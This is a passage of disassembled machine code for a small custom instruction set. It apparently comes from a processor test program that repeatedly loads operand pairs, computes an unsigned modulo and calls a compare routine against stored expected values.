c64c: 0d 41 e5 18 wl16 r8,0xf38
c650: 0d 60 01 03 wh16 r8,0x3
c654: 10 40 01 08 ld32 r8,r8
c658: 0d 44 06 14 wl16 r16,0x2034
c65c: 0d 60 02 03 wh16 r16,0x3
c660: 10 40 02 10 ld32 r16,r16
c664: 0d 46 25 30 wl16 r9,0x3130
c668: 0d 60 01 23 wh16 r9,0x3
c66c: 10 40 01 29 ld32 r9,r9
c670: 00 a0 01 10 umod r8,r16
c674: 20 70 03 e2 movepc rret,8
c678: 14 30 ce 66 br 10 <compare>,#al
c67c: 00 10 00 41 add r2,1
c680: 0d 41 e5 1c wl16 r8,0xf3c
c684: 0d 60 01 03 wh16 r8,0x3
c688: 10 40 01 08 ld32 r8,r8
c68c: 0d 44 06 18 wl16 r16,0x2038
c690: 0d 60 02 03 wh16 r16,0x3
c694: 10 40 02 10 ld32 r16,r16
c698: 0d 46 25 34 wl16 r9,0x3134
c69c: 0d 60 01 23 wh16 r9,0x3
c6a0: 10 40 01 29 ld32 r9,r9
c6a4: 00 a0 01 10 umod r8,r16
c6a8: 20 70 03 e2 movepc rret,8
c6ac: 14 30 ce 59 br 10 <compare>,#al
c6b0: 00 10 00 41 add r2,1
c6b4: 0d 41 e9 00 wl16 r8,0xf40
c6b8: 0d 60 01 03 wh16 r8,0x3
c6bc: 10 40 01 08 ld32 r8,r8
c6c0: 0d 44 06 1c wl16 r16,0x203c
c6c4: 0d 60 02 03 wh16 r16,0x3
c6c8: 10 40 02 10 ld32 r16,r16
c6cc: 0d 46 25 38 wl16 r9,0x3138
c6d0: 0d 60 01 23 wh16 r9,0x3
c6d4: 10 40 01 29 ld32 r9,r9
c6d8: 00 a0 01 10 umod r8,r16
c6dc: 20 70 03 e2 movepc rret,8
c6e0: 14 30 ce 4c br 10 <compare>,#al
c6e4: 00 10 00 41 add r2,1
c6e8: 0d 41 e9 04 wl16 r8,0xf44
c6ec: 0d 60 01 03 wh16 r8,0x3
c6f0: 10 40 01 08 ld32 r8,r8
c6f4: 0d 44 0a 00 wl16 r16,0x2040
c6f8: 0d 60 02 03 wh16 r16,0x3
c6fc: 10 40 02 10 ld32 r16,r16
c700: 0d 46 25 3c wl16 r9,0x313c
c704: 0d 60 01 23 wh16 r9,0x3
c708: 10 40 01 29 ld32 r9,r9
c70c: 00 a0 01 10 umod r8,r16
c710: 20 70 03 e2 movepc rret,8
c714: 14 30 ce 3f br 10 <compare>,#al
c718: 00 10 00 41 add r2,1
c71c: 0d 41 e9 08 wl16 r8,0xf48
c720: 0d 60 01 03 wh16 r8,0x3
c724: 10 40 01 08 ld32 r8,r8
c728: 0d 44 0a 04 wl16 r16,0x2044
c72c: 0d 60 02 03 wh16 r16,0x3
c730: 10 40 02 10 ld32 r16,r16
c734: 0d 46 29 20 wl16 r9,0x3140
c738: 0d 60 01 23 wh16 r9,0x3
c73c: 10 40 01 29 ld32 r9,r9
c740: 00 a0 01 10 umod r8,r16
c744: 20 70 03 e2 movepc rret,8
c748: 14 30 ce 32 br 10 <compare>,#al
c74c: 00 10 00 41 add r2,1
c750: 0d 41 e9 0c wl16 r8,0xf4c
c754: 0d 60 01 03 wh16 r8,0x3
c758: 10 40 01 08 ld32 r8,r8
c75c: 0d 44 0a 08 wl16 r16,0x2048
c760: 0d 60 02 03 wh16 r16,0x3
c764: 10 40 02 10 ld32 r16,r16
c768: 0d 46 29 24 wl16 r9,0x3144
c76c: 0d 60 01 23 wh16 r9,0x3
c770: 10 40 01 29 ld32 r9,r9
c774: 00 a0 01 10 umod r8,r16
c778: 20 70 03 e2 movepc rret,8
c77c: 14 30 ce 25 br 10 <compare>,#al
c780: 00 10 00 41 add r2,1
c784: 0d 41 e9 10 wl16 r8,0xf50
c788: 0d 60 01 03 wh16 r8,0x3
c78c: 10 40 01 08 ld32 r8,r8
c790: 0d 44 0a 0c wl16 r16,0x204c
c794: 0d 60 02 03 wh16 r16,0x3
c798: 10 40 02 10 ld32 r16,r16
c79c: 0d 46 29 28 wl16 r9,0x3148
c7a0: 0d 60 01 23 wh16 r9,0x3
c7a4: 10 40 01 29 ld32 r9,r9
c7a8: 00 a0 01 10 umod r8,r16
c7ac: 20 70 03 e2 movepc rret,8
c7b0: 14 30 ce 18 br 10 <compare>,#al
c7b4: 00 10 00 41 add r2,1
c7b8: 0d 41 e9 14 wl16 r8,0xf54
c7bc: 0d 60 01 03 wh16 r8,0x3
c7c0: 10 40 01 08 ld32 r8,r8
c7c4: 0d 44 0a 10 wl16 r16,0x2050
c7c8: 0d 60 02 03 wh16 r16,0x3
c7cc: 10 40 02 10 ld32 r16,r16
c7d0: 0d 46 29 2c wl16 r9,0x314c
c7d4: 0d 60 01 23 wh16 r9,0x3
c7d8: 10 40 01 29 ld32 r9,r9
c7dc: 00 a0 01 10 umod r8,r16
c7e0: 20 70 03 e2 movepc rret,8
c7e4: 14 30 ce 0b br 10 <compare>,#al
c7e8: 00 10 00 41 add r2,1
c7ec: 0d 41 e9 18 wl16 r8,0xf58
c7f0: 0d 60 01 03 wh16 r8,0x3
c7f4: 10 40 01 08 ld32 r8,r8
c7f8: 0d 44 0a 14 wl16 r16,0x2054
c7fc: 0d 60 02 03 wh16 r16,0x3
c800: 10 40 02 10 ld32 r16,r16
c804: 0d 46 29 30 wl16 r9,0x3150
c808: 0d 60 01 23 wh16 r9,0x3
c80c: 10 40 01 29 ld32 r9,r9
c810: 00 a0 01 10 umod r8,r16
c814: 20 70 03 e2 movepc rret,8
c818: 14 30 cd fe br 10 <compare>,#al
c81c: 00 10 00 41 add r2,1
c820: 0d 41 e9 1c wl16 r8,0xf5c
c824: 0d 60 01 03 wh16 r8,0x3
c828: 10 40 01 08 ld32 r8,r8
c82c: 0d 44 0a 18 wl16 r16,0x2058
c830: 0d 60 02 03 wh16 r16,0x3
c834: 10 40 02 10 ld32 r16,r16
c838: 0d 46 29 34 wl16 r9,0x3154
c83c: 0d 60 01 23 wh16 r9,0x3
c840: 10 40 01 29 ld32 r9,r9
c844: 00 a0 01 10 umod r8,r16
c848: 20 70 03 e2 movepc rret,8
c84c: 14 30 cd f1 br 10 <compare>,#al
c850: 00 10 00 41 add r2,1
c854: 0d 41 ed 00 wl16 r8,0xf60
c858: 0d 60 01 03 wh16 r8,0x3
c85c: 10 40 01 08 ld32 r8,r8
c860: 0d 44 0a 1c wl16 r16,0x205c
c864: 0d 60 02 03 wh16 r16,0x3
c868: 10 40 02 10 ld32 r16,r16
c86c: 0d 46 29 38 wl16 r9,0x3158
c870: 0d 60 01 23 wh16 r9,0x3
c874: 10 40 01 29 ld32 r9,r9
c878: 00 a0 01 10 umod r8,r16
c87c: 20 70 03 e2 movepc rret,8
c880: 14 30 cd e4 br 10 <compare>,#al
c884: 00 10 00 41 add r2,1
c888: 0d 41 ed 04 wl16 r8,0xf64
c88c: 0d 60 01 03 wh16 r8,0x3
c890: 10 40 01 08 ld32 r8,r8
c894: 0d 44 0e 00 wl16 r16,0x2060
c898: 0d 60 02 03 wh16 r16,0x3
c89c: 10 40 02 10 ld32 r16,r16
c8a0: 0d 46 29 3c wl16 r9,0x315c
c8a4: 0d 60 01 23 wh16 r9,0x3
c8a8: 10 40 01 29 ld32 r9,r9
c8ac: 00 a0 01 10 umod r8,r16
c8b0: 20 70 03 e2 movepc rret,8
c8b4: 14 30 cd d7 br 10 <compare>,#al
c8b8: 00 10 00 41 add r2,1
c8bc: 0d 41 ed 08 wl16 r8,0xf68
c8c0: 0d 60 01 03 wh16 r8,0x3
c8c4: 10 40 01 08 ld32 r8,r8
c8c8: 0d 44 0e 04 wl16 r16,0x2064
c8cc: 0d 60 02 03 wh16 r16,0x3
c8d0: 10 40 02 10 ld32 r16,r16
c8d4: 0d 46 2d 20 wl16 r9,0x3160
c8d8: 0d 60 01 23 wh16 r9,0x3
c8dc: 10 40 01 29 ld32 r9,r9
c8e0: 00 a0 01 10 umod r8,r16
c8e4: 20 70 03 e2 movepc rret,8
c8e8: 14 30 cd ca br 10 <compare>,#al
c8ec: 00 10 00 41 add r2,1
c8f0: 0d 41 ed 0c wl16 r8,0xf6c
c8f4: 0d 60 01 03 wh16 r8,0x3
c8f8: 10 40 01 08 ld32 r8,r8
c8fc: 0d 44 0e 08 wl16 r16,0x2068
c900: 0d 60 02 03 wh16 r16,0x3
c904: 10 40 02 10 ld32 r16,r16
c908: 0d 46 2d 24 wl16 r9,0x3164
c90c: 0d 60 01 23 wh16 r9,0x3
c910: 10 40 01 29 ld32 r9,r9
c914: 00 a0 01 10 umod r8,r16
c918: 20 70 03 e2 movepc rret,8
c91c: 14 30 cd bd br 10 <compare>,#al
c920: 00 10 00 41 add r2,1
c924: 0d 41 ed 10 wl16 r8,0xf70
c928: 0d 60 01 03 wh16 r8,0x3
c92c: 10 40 01 08 ld32 r8,r8
c930: 0d 44 0e 0c wl16 r16,0x206c
c934: 0d 60 02 03 wh16 r16,0x3
c938: 10 40 02 10 ld32 r16,r16
c93c: 0d 46 2d 28 wl16 r9,0x3168
c940: 0d 60 01 23 wh16 r9,0x3
c944: 10 40 01 29 ld32 r9,r9
c948: 00 a0 01 10 umod r8,r16
c94c: 20 70 03 e2 movepc rret,8
c950: 14 30 cd b0 br 10 <compare>,#al
c954: 00 10 00 41 add r2,1
c958: 0d 41 ed 14 wl16 r8,0xf74
c95c: 0d 60 01 03 wh16 r8,0x3
c960: 10 40 01 08 ld32 r8,r8
c964: 0d 44 0e 10 wl16 r16,0x2070
c968: 0d 60 02 03 wh16 r16,0x3
c96c: 10 40 02 10 ld32 r16,r16
c970: 0d 46 2d 2c wl16 r9,0x316c
c974: 0d 60 01 23 wh16 r9,0x3
c978: 10 40 01 29 ld32 r9,r9
c97c: 00 a0 01 10 umod r8,r16
c980: 20 70 03 e2 movepc rret,8
c984: 14 30 cd a3 br 10 <compare>,#al
c988: 00 10 00 41 add r2,1
c98c: 0d 41 ed 18 wl16 r8,0xf78
c990: 0d 60 01 03 wh16 r8,0x3
c994: 10 40 01 08 ld32 r8,r8
c998: 0d 44 0e 14 wl16 r16,0x2074
c99c: 0d 60 02 03 wh16 r16,0x3
c9a0: 10 40 02 10 ld32 r16,r16
c9a4: 0d 46 2d 30 wl16 r9,0x3170
c9a8: 0d 60 01 23 wh16 r9,0x3
c9ac: 10 40 01 29 ld32 r9,r9
c9b0: 00 a0 01 10 umod r8,r16
c9b4: 20 70 03 e2 movepc rret,8
c9b8: 14 30 cd 96 br 10 <compare>,#al
c9bc: 00 10 00 41 add r2,1
c9c0: 0d 41 ed 1c wl16 r8,0xf7c
c9c4: 0d 60 01 03 wh16 r8,0x3
c9c8: 10 40 01 08 ld32 r8,r8
c9cc: 0d 44 0e 18 wl16 r16,0x2078
c9d0: 0d 60 02 03 wh16 r16,0x3
c9d4: 10 40 02 10 ld32 r16,r16
c9d8: 0d 46 2d 34 wl16 r9,0x3174
c9dc: 0d 60 01 23 wh16 r9,0x3
c9e0: 10 40 01 29 ld32 r9,r9
c9e4: 00 a0 01 10 umod r8,r16
c9e8: 20 70 03 e2 movepc rret,8
c9ec: 14 30 cd 89 br 10 <compare>,#al
c9f0: 00 10 00 41 add r2,1
c9f4: 0d 41 f1 00 wl16 r8,0xf80
c9f8: 0d 60 01 03 wh16 r8,0x3
c9fc: 10 40 01 08 ld32 r8,r8
ca00: 0d 44 0e 1c wl16 r16,0x207c
ca04: 0d 60 02 03 wh16 r16,0x3
ca08: 10 40 02 10 ld32 r16,r16
ca0c: 0d 46 2d 38 wl16 r9,0x3178
ca10: 0d 60 01 23 wh16 r9,0x3
ca14: 10 40 01 29 ld32 r9,r9
ca18: 00 a0 01 10 umod r8,r16
ca1c: 20 70 03 e2 movepc rret,8
ca20: 14 30 cd 7c br 10 <compare>,#al
ca24: 00 10 00 41 add r2,1
ca28: 0d 41 f1 04 wl16 r8,0xf84
ca2c: 0d 60 01 03 wh16 r8,0x3
ca30: 10 40 01 08 ld32 r8,r8
ca34: 0d 44 12 00 wl16 r16,0x2080
ca38: 0d 60 02 03 wh16 r16,0x3
ca3c: 10 40 02 10 ld32 r16,r16
ca40: 0d 46 2d 3c wl16 r9,0x317c
ca44: 0d 60 01 23 wh16 r9,0x3
ca48: 10 40 01 29 ld32 r9,r9
ca4c: 00 a0 01 10 umod r8,r16
ca50: 20 70 03 e2 movepc rret,8
ca54: 14 30 cd 6f br 10 <compare>,#al
ca58: 00 10 00 41 add r2,1
ca5c: 0d 41 f1 08 wl16 r8,0xf88
ca60: 0d 60 01 03 wh16 r8,0x3
ca64: 10 40 01 08 ld32 r8,r8
ca68: 0d 44 12 04 wl16 r16,0x2084
ca6c: 0d 60 02 03 wh16 r16,0x3
ca70: 10 40 02 10 ld32 r16,r16
ca74: 0d 46 31 20 wl16 r9,0x3180
ca78: 0d 60 01 23 wh16 r9,0x3
ca7c: 10 40 01 29 ld32 r9,r9
ca80: 00 a0 01 10 umod r8,r16
ca84: 20 70 03 e2 movepc rret,8
ca88: 14 30 cd 62 br 10 <compare>,#al
ca8c: 00 10 00 41 add r2,1
ca90: 0d 41 f1 0c wl16 r8,0xf8c
ca94: 0d 60 01 03 wh16 r8,0x3
ca98: 10 40 01 08 ld32 r8,r8
ca9c: 0d 44 12 08 wl16 r16,0x2088
caa0: 0d 60 02 03 wh16 r16,0x3
caa4: 10 40 02 10 ld32 r16,r16
caa8: 0d 46 31 24 wl16 r9,0x3184
caac: 0d 60 01 23 wh16 r9,0x3
cab0: 10 40 01 29 ld32 r9,r9
cab4: 00 a0 01 10 umod r8,r16
cab8: 20 70 03 e2 movepc rret,8
cabc: 14 30 cd 55 br 10 <compare>,#al
cac0: 00 10 00 41 add r2,1
cac4: 0d 41 f1 10 wl16 r8,0xf90
cac8: 0d 60 01 03 wh16 r8,0x3
cacc: 10 40 01 08 ld32 r8,r8
cad0: 0d 44 12 0c wl16 r16,0x208c
cad4: 0d 60 02 03 wh16 r16,0x3
cad8: 10 40 02 10 ld32 r16,r16
cadc: 0d 46 31 28 wl16 r9,0x3188
cae0: 0d 60 01 23 wh16 r9,0x3
cae4: 10 40 01 29 ld32 r9,r9
cae8: 00 a0 01 10 umod r8,r16
caec: 20 70 03 e2 movepc rret,8
caf0: 14 30 cd 48 br 10 <compare>,#al
caf4: 00 10 00 41 add r2,1
caf8: 0d 41 f1 14 wl16 r8,0xf94
cafc: 0d 60 01 03 wh16 r8,0x3
cb00: 10 40 01 08 ld32 r8,r8
cb04: 0d 44 12 10 wl16 r16,0x2090
cb08: 0d 60 02 03 wh16 r16,0x3
cb0c: 10 40 02 10 ld32 r16,r16
cb10: 0d 46 31 2c wl16 r9,0x318c
cb14: 0d 60 01 23 wh16 r9,0x3
cb18: 10 40 01 29 ld32 r9,r9
cb1c: 00 a0 01 10 umod r8,r16
cb20: 20 70 03 e2 movepc rret,8
cb24: 14 30 cd 3b br 10 <compare>,#al
cb28: 00 10 00 41 add r2,1
cb2c: 0d 41 f1 18 wl16 r8,0xf98
cb30: 0d 60 01 03 wh16 r8,0x3
cb34: 10 40 01 08 ld32 r8,r8
cb38: 0d 44 12 14 wl16 r16,0x2094
cb3c: 0d 60 02 03 wh16 r16,0x3
cb40: 10 40 02 10 ld32 r16,r16
cb44: 0d 46 31 30 wl16 r9,0x3190
cb48: 0d 60 01 23 wh16 r9,0x3
cb4c: 10 40 01 29 ld32 r9,r9
cb50: 00 a0 01 10 umod r8,r16
cb54: 20 70 03 e2 movepc rret,8
cb58: 14 30 cd 2e br 10 <compare>,#al
cb5c: 00 10 00 41 add r2,1
cb60: 0d 41 f1 1c wl16 r8,0xf9c
cb64: 0d 60 01 03 wh16 r8,0x3
cb68: 10 40 01 08 ld32 r8,r8
cb6c: 0d 44 12 18 wl16 r16,0x2098
cb70: 0d 60 02 03 wh16 r16,0x3
cb74: 10 40 02 10 ld32 r16,r16
cb78: 0d 46 31 34 wl16 r9,0x3194
cb7c: 0d 60 01 23 wh16 r9,0x3
cb80: 10 40 01 29 ld32 r9,r9
cb84: 00 a0 01 10 umod r8,r16
cb88: 20 70 03 e2 movepc rret,8
cb8c: 14 30 cd 21 br 10 <compare>,#al
cb90: 00 10 00 41 add r2,1
cb94: 0d 41 f5 00 wl16 r8,0xfa0
cb98: 0d 60 01 03 wh16 r8,0x3
cb9c: 10 40 01 08 ld32 r8,r8
cba0: 0d 44 12 1c wl16 r16,0x209c
cba4: 0d 60 02 03 wh16 r16,0x3
cba8: 10 40 02 10 ld32 r16,r16
cbac: 0d 46 31 38 wl16 r9,0x3198
cbb0: 0d 60 01 23 wh16 r9,0x3
cbb4: 10 40 01 29 ld32 r9,r9
cbb8: 00 a0 01 10 umod r8,r16
cbbc: 20 70 03 e2 movepc rret,8
cbc0: 14 30 cd 14 br 10 <compare>,#al
cbc4: 00 10 00 41 add r2,1
cbc8: 0d 41 f5 04 wl16 r8,0xfa4
cbcc: 0d 60 01 03 wh16 r8,0x3
cbd0: 10 40 01 08 ld32 r8,r8
cbd4: 0d 44 16 00 wl16 r16,0x20a0
cbd8: 0d 60 02 03 wh16 r16,0x3
cbdc: 10 40 02 10 ld32 r16,r16
cbe0: 0d 46 31 3c wl16 r9,0x319c
cbe4: 0d 60 01 23 wh16 r9,0x3
cbe8: 10 40 01 29 ld32 r9,r9
cbec: 00 a0 01 10 umod r8,r16
cbf0: 20 70 03 e2 movepc rret,8
cbf4: 14 30 cd 07 br 10 <compare>,#al
cbf8: 00 10 00 41 add r2,1
cbfc: 0d 41 f5 08 wl16 r8,0xfa8
cc00: 0d 60 01 03 wh16 r8,0x3
cc04: 10 40 01 08 ld32 r8,r8
cc08: 0d 44 16 04 wl16 r16,0x20a4
cc0c: 0d 60 02 03 wh16 r16,0x3
cc10: 10 40 02 10 ld32 r16,r16
cc14: 0d 46 35 20 wl16 r9,0x31a0
cc18: 0d 60 01 23 wh16 r9,0x3
cc1c: 10 40 01 29 ld32 r9,r9
cc20: 00 a0 01 10 umod r8,r16
cc24: 20 70 03 e2 movepc rret,8
cc28: 14 30 cc fa br 10 <compare>,#al
cc2c: 00 10 00 41 add r2,1
cc30: 0d 41 f5 0c wl16 r8,0xfac
cc34: 0d 60 01 03 wh16 r8,0x3
cc38: 10 40 01 08 ld32 r8,r8
cc3c: 0d 44 16 08 wl16 r16,0x20a8
cc40: 0d 60 02 03 wh16 r16,0x3
cc44: 10 40 02 10 ld32 r16,r16
cc48: 0d 46 35 24 wl16 r9,0x31a4
cc4c: 0d 60 01 23 wh16 r9,0x3
cc50: 10 40 01 29 ld32 r9,r9
cc54: 00 a0 01 10 umod r8,r16
cc58: 20 70 03 e2 movepc rret,8
cc5c: 14 30 cc ed br 10 <compare>,#al
cc60: 00 10 00 41 add r2,1
cc64: 0d 41 f5 10 wl16 r8,0xfb0
cc68: 0d 60 01 03 wh16 r8,0x3
cc6c: 10 40 01 08 ld32 r8,r8
cc70: 0d 44 16 0c wl16 r16,0x20ac
cc74: 0d 60 02 03 wh16 r16,0x3
cc78: 10 40 02 10 ld32 r16,r16
cc7c: 0d 46 35 28 wl16 r9,0x31a8
cc80: 0d 60 01 23 wh16 r9,0x3
cc84: 10 40 01 29 ld32 r9,r9
cc88: 00 a0 01 10 umod r8,r16
cc8c: 20 70 03 e2 movepc rret,8
cc90: 14 30 cc e0 br 10 <compare>,#al
cc94: 00 10 00 41 add r2,1
cc98: 0d 41 f5 14 wl16 r8,0xfb4
cc9c: 0d 60 01 03 wh16 r8,0x3
cca0: 10 40 01 08 ld32 r8,r8
cca4: 0d 44 16 10 wl16 r16,0x20b0
cca8: 0d 60 02 03 wh16 r16,0x3
ccac: 10 40 02 10 ld32 r16,r16
ccb0: 0d 46 35 2c wl16 r9,0x31ac
ccb4: 0d 60 01 23 wh16 r9,0x3
ccb8: 10 40 01 29 ld32 r9,r9
ccbc: 00 a0 01 10 umod r8,r16
ccc0: 20 70 03 e2 movepc rret,8
ccc4: 14 30 cc d3 br 10 <compare>,#al
ccc8: 00 10 00 41 add r2,1
cccc: 0d 41 f5 18 wl16 r8,0xfb8
ccd0: 0d 60 01 03 wh16 r8,0x3
ccd4: 10 40 01 08 ld32 r8,r8
ccd8: 0d 44 16 14 wl16 r16,0x20b4
ccdc: 0d 60 02 03 wh16 r16,0x3
cce0: 10 40 02 10 ld32 r16,r16
cce4: 0d 46 35 30 wl16 r9,0x31b0
cce8: 0d 60 01 23 wh16 r9,0x3
ccec: 10 40 01 29 ld32 r9,r9
ccf0: 00 a0 01 10 umod r8,r16
ccf4: 20 70 03 e2 movepc rret,8
ccf8: 14 30 cc c6 br 10 <compare>,#al
ccfc: 00 10 00 41 add r2,1
cd00: 0d 41 f5 1c wl16 r8,0xfbc
cd04: 0d 60 01 03 wh16 r8,0x3
cd08: 10 40 01 08 ld32 r8,r8
cd0c: 0d 44 16 18 wl16 r16,0x20b8
cd10: 0d 60 02 03 wh16 r16,0x3
cd14: 10 40 02 10 ld32 r16,r16
cd18: 0d 46 35 34 wl16 r9,0x31b4
cd1c: 0d 60 01 23 wh16 r9,0x3
cd20: 10 40 01 29 ld32 r9,r9
cd24: 00 a0 01 10 umod r8,r16
cd28: 20 70 03 e2 movepc rret,8
cd2c: 14 30 cc b9 br 10 <compare>,#al
cd30: 00 10 00 41 add r2,1
cd34: 0d 41 f9 00 wl16 r8,0xfc0
cd38: 0d 60 01 03 wh16 r8,0x3
cd3c: 10 40 01 08 ld32 r8,r8
cd40: 0d 44 16 1c wl16 r16,0x20bc
cd44: 0d 60 02 03 wh16 r16,0x3
cd48: 10 40 02 10 ld32 r16,r16
cd4c: 0d 46 35 38 wl16 r9,0x31b8
cd50: 0d 60 01 23 wh16 r9,0x3
cd54: 10 40 01 29 ld32 r9,r9
cd58: 00 a0 01 10 umod r8,r16
cd5c: 20 70 03 e2 movepc rret,8
cd60: 14 30 cc ac br 10 <compare>,#al
cd64: 00 10 00 41 add r2,1
cd68: 0d 41 f9 04 wl16 r8,0xfc4
cd6c: 0d 60 01 03 wh16 r8,0x3
cd70: 10 40 01 08 ld32 r8,r8
cd74: 0d 44 1a 00 wl16 r16,0x20c0
cd78: 0d 60 02 03 wh16 r16,0x3
cd7c: 10 40 02 10 ld32 r16,r16
cd80: 0d 46 35 3c wl16 r9,0x31bc
cd84: 0d 60 01 23 wh16 r9,0x3
cd88: 10 40 01 29 ld32 r9,r9
cd8c: 00 a0 01 10 umod r8,r16
cd90: 20 70 03 e2 movepc rret,8
cd94: 14 30 cc 9f br 10 <compare>,#al
cd98: 00 10 00 41 add r2,1
cd9c: 0d 41 f9 08 wl16 r8,0xfc8
cda0: 0d 60 01 03 wh16 r8,0x3
cda4: 10 40 01 08 ld32 r8,r8
cda8: 0d 44 1a 04 wl16 r16,0x20c4
cdac: 0d 60 02 03 wh16 r16,0x3
cdb0: 10 40 02 10 ld32 r16,r16
cdb4: 0d 46 39 20 wl16 r9,0x31c0
cdb8: 0d 60 01 23 wh16 r9,0x3
cdbc: 10 40 01 29 ld32 r9,r9
cdc0: 00 a0 01 10 umod r8,r16
cdc4: 20 70 03 e2 movepc rret,8
cdc8: 14 30 cc 92 br 10 <compare>,#al
cdcc: 00 10 00 41 add r2,1
cdd0: 0d 41 f9 0c wl16 r8,0xfcc
cdd4: 0d 60 01 03 wh16 r8,0x3
cdd8: 10 40 01 08 ld32 r8,r8
cddc: 0d 44 1a 08 wl16 r16,0x20c8
cde0: 0d 60 02 03 wh16 r16,0x3
cde4: 10 40 02 10 ld32 r16,r16
cde8: 0d 46 39 24 wl16 r9,0x31c4
cdec: 0d 60 01 23 wh16 r9,0x3
cdf0: 10 40 01 29 ld32 r9,r9
cdf4: 00 a0 01 10 umod r8,r16
cdf8: 20 70 03 e2 movepc rret,8
cdfc: 14 30 cc 85 br 10 <compare>,#al
ce00: 00 10 00 41 add r2,1
ce04: 0d 41 f9 10 wl16 r8,0xfd0
ce08: 0d 60 01 03 wh16 r8,0x3
ce0c: 10 40 01 08 ld32 r8,r8
ce10: 0d 44 1a 0c wl16 r16,0x20cc
ce14: 0d 60 02 03 wh16 r16,0x3
ce18: 10 40 02 10 ld32 r16,r16
ce1c: 0d 46 39 28 wl16 r9,0x31c8
ce20: 0d 60 01 23 wh16 r9,0x3
ce24: 10 40 01 29 ld32 r9,r9
ce28: 00 a0 01 10 umod r8,r16
ce2c: 20 70 03 e2 movepc rret,8
ce30: 14 30 cc 78 br 10 <compare>,#al
ce34: 00 10 00 41 add r2,1
ce38: 0d 41 f9 14 wl16 r8,0xfd4
ce3c: 0d 60 01 03 wh16 r8,0x3
ce40: 10 40 01 08 ld32 r8,r8
ce44: 0d 44 1a 10 wl16 r16,0x20d0
ce48: 0d 60 02 03 wh16 r16,0x3
ce4c: 10 40 02 10 ld32 r16,r16
ce50: 0d 46 39 2c wl16 r9,0x31cc
ce54: 0d 60 01 23 wh16 r9,0x3
ce58: 10 40 01 29 ld32 r9,r9
ce5c: 00 a0 01 10 umod r8,r16
ce60: 20 70 03 e2 movepc rret,8
ce64: 14 30 cc 6b br 10 <compare>,#al
ce68: 00 10 00 41 add r2,1
ce6c: 0d 41 f9 18 wl16 r8,0xfd8
ce70: 0d 60 01 03 wh16 r8,0x3
ce74: 10 40 01 08 ld32 r8,r8
ce78: 0d 44 1a 14 wl16 r16,0x20d4
ce7c: 0d 60 02 03 wh16 r16,0x3
ce80: 10 40 02 10 ld32 r16,r16
ce84: 0d 46 39 30 wl16 r9,0x31d0
ce88: 0d 60 01 23 wh16 r9,0x3
ce8c: 10 40 01 29 ld32 r9,r9
ce90: 00 a0 01 10 umod r8,r16
ce94: 20 70 03 e2 movepc rret,8
ce98: 14 30 cc 5e br 10 <compare>,#al
ce9c: 00 10 00 41 add r2,1
cea0: 0d 41 f9 1c wl16 r8,0xfdc
cea4: 0d 60 01 03 wh16 r8,0x3
cea8: 10 40 01 08 ld32 r8,r8
ceac: 0d 44 1a 18 wl16 r16,0x20d8
ceb0: 0d 60 02 03 wh16 r16,0x3
ceb4: 10 40 02 10 ld32 r16,r16
ceb8: 0d 46 39 34 wl16 r9,0x31d4
cebc: 0d 60 01 23 wh16 r9,0x3
cec0: 10 40 01 29 ld32 r9,r9
cec4: 00 a0 01 10 umod r8,r16
cec8: 20 70 03 e2 movepc rret,8
cecc: 14 30 cc 51 br 10 <compare>,#al
ced0: 00 10 00 41 add r2,1
ced4: 0d 41 fd 00 wl16 r8,0xfe0
ced8: 0d 60 01 03 wh16 r8,0x3
cedc: 10 40 01 08 ld32 r8,r8
cee0: 0d 44 1a 1c wl16 r16,0x20dc
cee4: 0d 60 02 03 wh16 r16,0x3
cee8: 10 40 02 10 ld32 r16,r16
ceec: 0d 46 39 38 wl16 r9,0x31d8
cef0: 0d 60 01 23 wh16 r9,0x3
cef4: 10 40 01 29 ld32 r9,r9
cef8: 00 a0 01 10 umod r8,r16
cefc: 20 70 03 e2 movepc rret,8
cf00: 14 30 cc 44 br 10 <compare>,#al
cf04: 00 10 00 41 add r2,1
cf08: 0d 41 fd 04 wl16 r8,0xfe4
cf0c: 0d 60 01 03 wh16 r8,0x3
cf10: 10 40 01 08 ld32 r8,r8
cf14: 0d 44 1e 00 wl16 r16,0x20e0
cf18: 0d 60 02 03 wh16 r16,0x3
cf1c: 10 40 02 10 ld32 r16,r16
cf20: 0d 46 39 3c wl16 r9,0x31dc
cf24: 0d 60 01 23 wh16 r9,0x3
cf28: 10 40 01 29 ld32 r9,r9
cf2c: 00 a0 01 10 umod r8,r16
cf30: 20 70 03 e2 movepc rret,8
cf34: 14 30 cc 37 br 10 <compare>,#al
cf38: 00 10 00 41 add r2,1
cf3c: 0d 41 fd 08 wl16 r8,0xfe8
cf40: 0d 60 01 03 wh16 r8,0x3
cf44: 10 40 01 08 ld32 r8,r8
cf48: 0d 44 1e 04 wl16 r16,0x20e4
cf4c: 0d 60 02 03 wh16 r16,0x3
cf50: 10 40 02 10 ld32 r16,r16
cf54: 0d 46 3d 20 wl16 r9,0x31e0
cf58: 0d 60 01 23 wh16 r9,0x3
cf5c: 10 40 01 29 ld32 r9,r9
cf60: 00 a0 01 10 umod r8,r16
cf64: 20 70 03 e2 movepc rret,8
cf68: 14 30 cc 2a br 10 <compare>,#al
cf6c: 00 10 00 41 add r2,1
cf70: 0d 41 fd 0c wl16 r8,0xfec
cf74: 0d 60 01 03 wh16 r8,0x3
cf78: 10 40 01 08 ld32 r8,r8
cf7c: 0d 44 1e 08 wl16 r16,0x20e8
cf80: 0d 60 02 03 wh16 r16,0x3
cf84: 10 40 02 10 ld32 r16,r16
cf88: 0d 46 3d 24 wl16 r9,0x31e4
cf8c: 0d 60 01 23 wh16 r9,0x3
cf90: 10 40 01 29 ld32 r9,r9
cf94: 00 a0 01 10 umod r8,r16
cf98: 20 70 03 e2 movepc rret,8
cf9c: 14 30 cc 1d br 10 <compare>,#al
cfa0: 00 10 00 41 add r2,1
cfa4: 0d 41 fd 10 wl16 r8,0xff0
cfa8: 0d 60 01 03 wh16 r8,0x3
cfac: 10 40 01 08 ld32 r8,r8
cfb0: 0d 44 1e 0c wl16 r16,0x20ec
cfb4: 0d 60 02 03 wh16 r16,0x3
cfb8: 10 40 02 10 ld32 r16,r16
cfbc: 0d 46 3d 28 wl16 r9,0x31e8
cfc0: 0d 60 01 23 wh16 r9,0x3
cfc4: 10 40 01 29 ld32 r9,r9
cfc8: 00 a0 01 10 umod r8,r16
cfcc: 20 70 03 e2 movepc rret,8
cfd0: 14 30 cc 10 br 10 <compare>,#al
cfd4: 00 10 00 41 add r2,1
cfd8: 0d 41 fd 14 wl16 r8,0xff4
cfdc: 0d 60 01 03 wh16 r8,0x3
cfe0: 10 40 01 08 ld32 r8,r8
cfe4: 0d 44 1e 10 wl16 r16,0x20f0
